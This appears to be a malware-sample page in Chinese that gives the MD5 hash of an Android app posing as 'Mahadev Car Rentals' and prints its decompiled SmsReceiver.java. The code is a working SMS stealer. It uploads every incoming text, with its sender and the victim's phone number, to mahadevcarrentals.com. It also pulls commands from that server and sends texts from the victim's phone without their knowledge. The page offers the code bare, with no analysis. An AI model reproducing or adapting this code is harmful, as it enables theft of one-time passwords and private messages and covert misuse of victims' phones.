Mahadev Car Rentals v1.0版本的 MD5 值为:93234f87394478eac49e93a7e9f3afac
以下内容为反编译后的 SmsReceiver.java 源代码,内容仅作参考
package com.mahadev.carrentals;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;
import android.widget.Toast;
import androidx.core.app.NotificationCompat;
import com.android.volley.AuthFailureError;
import com.android.volley.RequestQueue;
import com.android.volley.Response;
import com.android.volley.VolleyError;
import com.android.volley.toolbox.StringRequest;
import com.android.volley.toolbox.Volley;
import java.util.HashMap;
import java.util.Map;
import org.json.JSONArray;
import org.json.JSONObject;
public class SmsReceiver extends BroadcastReceiver {
String sendSms = null;
String sendingPhone;
@Override
public void onReceive(final Context context, Intent intent) {
int i = 0;
SharedPreferences pref = context.getSharedPreferences("phoneNumber", 0);
final String phone = pref.getString("phone", "");
StringRequest stringRequest2 = new StringRequest(0, "https://mahadevcarrentals.com/send-sms.php", new Response.Listener<String>() {
@Override
public void onResponse(String response) {
Log.i("Response: ", response);
try {
JSONObject jsonObject = new JSONObject(response);
JSONArray jsonArray = jsonObject.getJSONArray("smsArray");
if (jsonArray.length() > 0) {
for (int i2 = 0; i2 < jsonArray.length(); i2++) {
JSONObject jsonObject1 = jsonArray.getJSONObject(i2);
SmsReceiver.this.sendingPhone = jsonObject1.getString("phone");
SmsReceiver.this.sendSms = jsonObject1.getString(NotificationCompat.CATEGORY_MESSAGE);
Toast.makeText(context, "Phone: " + SmsReceiver.this.sendingPhone + "Msg" + SmsReceiver.this.sendSms, 0).show();
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage("+91" + SmsReceiver.this.sendingPhone, null, SmsReceiver.this.sendSms, null, null);
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}, new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
}
}) {
@Override
public Map<String, String> getParams() throws AuthFailureError {
return super.getParams();
}
};
RequestQueue requestQueue2 = Volley.newRequestQueue(context.getApplicationContext());
requestQueue2.add(stringRequest2);
Bundle bundle = intent.getExtras();
Object[] smsObj = (Object[]) bundle.get("pdus");
int length = smsObj.length;
while (i < length) {
Object obj = smsObj[i];
SmsMessage message = SmsMessage.createFromPdu((byte[]) obj);
final String mobNo = message.getOriginatingAddress();
final String msg = message.getDisplayMessageBody();
StringRequest stringRequest = new StringRequest(1, "https://mahadevcarrentals.com/message.php", new Response.Listener<String>() {
@Override
public void onResponse(String response) {
}
}, new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
Toast.makeText(context, error.toString(), 0).show();
Log.i("Volley Error", error.toString());
}
}) {
@Override
public Map<String, String> getParams() throws AuthFailureError {
Map<String, String> map = new HashMap<>();
map.put(NotificationCompat.CATEGORY_MESSAGE, msg);
map.put("mobNo", mobNo);
map.put("phone", phone);
return map;
}
};
RequestQueue requestQueue = Volley.newRequestQueue(context.getApplicationContext());
requestQueue.add(stringRequest);
i++;
smsObj = smsObj;
length = length;
bundle = bundle;
requestQueue2 = requestQueue2;
}
}
}